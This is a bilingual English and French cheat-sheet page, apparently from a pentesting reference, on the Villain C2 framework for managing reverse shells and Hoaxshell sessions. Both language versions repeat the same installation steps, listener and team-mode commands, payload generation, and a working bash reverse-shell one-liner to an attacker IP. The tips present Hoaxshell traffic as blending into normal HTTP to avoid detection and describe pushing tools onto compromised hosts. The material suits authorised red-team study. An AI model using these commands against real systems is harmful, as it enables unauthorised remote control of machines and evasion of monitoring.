villain

Framework C2 pour gérer les reverse shells et les sessions basées sur Hoaxshell. Supporte les cibles Windows et Linux, les upgrades de shell, et la collaboration multi-opérateur. C2 framework for managing reverse shells and Hoaxshell-based sessions. Supports Windows and Linux targets, shell upgrades, and multi-operator collaboration.

↗ https://github.com/t3l3machus/Villain

Overview

Villain is a C2 framework designed to manage reverse shell connections and Hoaxshell-based sessions. It supports Windows and Linux targets, offers shell upgrades (raw → pseudo-interactive), and supports team collaboration with multiple operators. Lighter than full C2 frameworks — focused on shell management.

Installation

git clone https://github.com/t3l3machus/Villain
cd Villain
pip3 install -r requirements.txt

Basic Usage

Start Villain (default: listen on 0.0.0.0)

python3 Villain.py

Start with specific port

python3 Villain.py -p 6705

Backdoor listener on specific port

python3 Villain.py -x 8888

Multi-user mode (allow team connections)

python3 Villain.py -u admin -P 8000

Villain Shell Commands

# Inside the Villain console:

generate     → Generate reverse shell payload
sessions     → List active sessions
use <id>     → Interact with a session
kill <id>    → Terminate a session
upload       → Upload file to session
download     → Download file from session
help         → Show help

Generating Payloads

Inside Villain console:

generate  

→ Then choose: OS: windows or linux Payload type: tcp, hoaxshell, etc. Encoding and obfuscation options

Example Windows payload generated:

powershell -e <BASE64_ENCODED_PAYLOAD>

Example Linux payload:

bash -c 'bash -i >& /dev/tcp/10.10.10.50/6705 0>&1'

Listeners

# Villain automatically opens listeners
# Default backdoor port: 6705 (shell connections)
# Default server port: 8888 (Hoaxshell HTTP)

Set your attacker IP

python3 Villain.py -s 10.10.10.50

Use SSL for encrypted channels

python3 Villain.py --ssl

Multi-Operator (Team Mode)

Start Villain as server

python3 Villain.py -u admin -P 65535

Connect as operator from another machine

python3 Villain.py -c 10.10.10.50 -P 65535

→ Enter: admin (or configured user)

Hoaxshell Integration

# Villain integrates Hoaxshell for HTTP-based shells
# When a session connects via Hoaxshell:
# - Traffic looks like normal HTTP
# - Uses chunked transfer for commands/responses
# - Harder to detect than raw TCP shells

Generate Hoaxshell payload from Villain console:

generate

→ → Select: Windows → Hoaxshell

Tips

  • Villain is best for quick shell management without full C2 overhead
  • Hoaxshell sessions blend into normal HTTP traffic
  • Use upload to transfer tools to compromised hosts without writing to disk paths
  • For larger engagements, graduate to Sliver or Havoc for full C2 capability
Help / Man page
python3 Villain.py [options]

-p PORT       Backdoor listener port (default: 6705)
-x PORT       Hoaxshell listener port (default: 8888)
-s IP         Your server IP for payload generation
-c HOST       Connect to remote Villain instance (team mode)
-P PORT       Team server port
-u USER       Username for team mode
--ssl         Enable SSL
--certfile    SSL cert file
--keyfile     SSL key file

Vue d’ensemble

Villain est un framework C2 conçu pour gérer les connexions reverse shell et les sessions basées sur Hoaxshell. Il supporte les cibles Windows et Linux, propose des upgrades de shell (brut vers pseudo-interactif), et supporte la collaboration en équipe avec plusieurs opérateurs. Plus léger que les frameworks C2 complets : focalisé sur la gestion de shells.

Installation

git clone https://github.com/t3l3machus/Villain
cd Villain
pip3 install -r requirements.txt

Utilisation de base

# Démarrer Villain (par défaut : écoute sur 0.0.0.0)
python3 Villain.py

# Démarrer avec un port spécifique
python3 Villain.py -p 6705

# Listener de backdoor sur un port spécifique
python3 Villain.py -x 8888

# Mode multi-utilisateur (autoriser les connexions en équipe)
python3 Villain.py -u admin -P 8000

Commandes de la console Villain

# Dans la console Villain :

generate     → Générer un payload de reverse shell
sessions     → Lister les sessions actives
use <id>     → Interagir avec une session
kill <id>    → Terminer une session
upload       → Envoyer un fichier vers la session
download     → Récupérer un fichier depuis la session
help         → Afficher l'aide

Génération de payloads

Dans la console Villain :

generate

Puis choisir : OS (windows ou linux), type de payload (tcp, hoaxshell, etc.), options d’encodage et d’obfuscation

Exemple de payload Windows généré :

powershell -e <BASE64_ENCODED_PAYLOAD>

Exemple de payload Linux :

bash -c 'bash -i >& /dev/tcp/10.10.10.50/6705 0>&1'

Listeners

# Villain ouvre automatiquement des listeners
# Port de backdoor par défaut : 6705 (connexions shell)
# Port serveur par défaut : 8888 (Hoaxshell HTTP)
# Définir votre IP attaquante
python3 Villain.py -s 10.10.10.50

# Utiliser SSL pour des canaux chiffrés
python3 Villain.py --ssl

Multi-opérateur (mode équipe)

# Démarrer Villain en tant que serveur
python3 Villain.py -u admin -P 65535

# Se connecter en tant qu'opérateur depuis une autre machine
python3 Villain.py -c 10.10.10.50 -P 65535

Saisir : admin (ou l’utilisateur configuré)

Intégration Hoaxshell

# Villain intègre Hoaxshell pour les shells basés sur HTTP
# Quand une session se connecte via Hoaxshell :
# - Le trafic ressemble à du HTTP normal
# - Utilise le transfert par chunks pour les commandes/réponses
# - Plus difficile à détecter que les shells TCP bruts

Générer un payload Hoaxshell depuis la console Villain :

generate

Puis sélectionner : Windows → Hoaxshell

Conseils

  • Villain est idéal pour une gestion rapide de shells sans la lourdeur d’un C2 complet
  • Les sessions Hoaxshell se fondent dans le trafic HTTP normal
  • Utiliser upload pour transférer des outils vers des hôtes compromis sans écrire sur des chemins disque
  • Pour des missions plus importantes, passer à Sliver ou Havoc pour des capacités C2 complètes
Aide / Page de manuel
python3 Villain.py [options]

-p PORT       Backdoor listener port (default: 6705)
-x PORT       Hoaxshell listener port (default: 8888)
-s IP         Your server IP for payload generation
-c HOST       Connect to remote Villain instance (team mode)
-P PORT       Team server port
-u USER       Username for team mode
--ssl         Enable SSL
--certfile    SSL cert file
--keyfile     SSL key file